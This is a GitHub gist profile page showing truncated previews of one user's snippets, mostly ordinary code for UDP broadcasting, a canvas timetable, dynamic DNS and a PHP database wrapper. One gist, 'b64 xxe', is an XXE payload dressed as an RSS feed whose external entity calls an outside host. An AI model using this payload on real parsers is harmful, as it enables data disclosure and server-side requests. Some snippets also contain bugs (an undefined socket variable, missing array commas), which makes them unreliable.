Skip to content

Instantly share code, notes, and snippets.

View cry's full-sized avatar
🤔
type confused

carey cry

🤔
type confused
View GitHub Profile
@cry
cry / client.py
Created September 4, 2018 01:45 — forked from ninedraft/README.md
Python udp broadcast client server example
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
client.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
client.bind(("", 37020))
while True:
data, addr = sock.recvfrom(1024)
print("received message: %s"%data)
//Bojangles client side program
//Initializing canvas and setting canvas variables
var canvas = new fabric.Canvas('timetable', {selection: false});
//Non stock fabric functionality, added in my customized version
canvas.pixelRatio = window.devicePixelRatio;
var width = 0;
var rows = 9;
var cols = 5;
var height = 0;
@cry
cry / lol.xml
Last active March 21, 2018 04:53
b64 xxe
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY wow SYSTEM "https://afire.io/lol" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>

Keybase proof

I hereby claim:

  • I am cry on github.
  • I am cry (https://keybase.io/cry) on keybase.
  • I have a public key whose fingerprint is CF31 05A1 D2C8 C385 E04D 2BED 472E 20B0 5006 10A5

To claim this, I am signing this object:

@cry
cry / digitalocean_ddns.py
Created October 21, 2016 19:11
Digitalocean dynamic dns updater
import urllib, urllib2
import json
import sys
# General details
ip_resolver = "https://api.ipify.org"
domain = 'example.org'
subdomain = 'latestip' # no subdomain = @
@cry
cry / dbwrapper.php
Last active February 14, 2019 04:56
<?php
class dbWrapper
{
private $db;
private $details = array(
"host" => "localhost"
"dbname" => "dbname"
"username" => "root",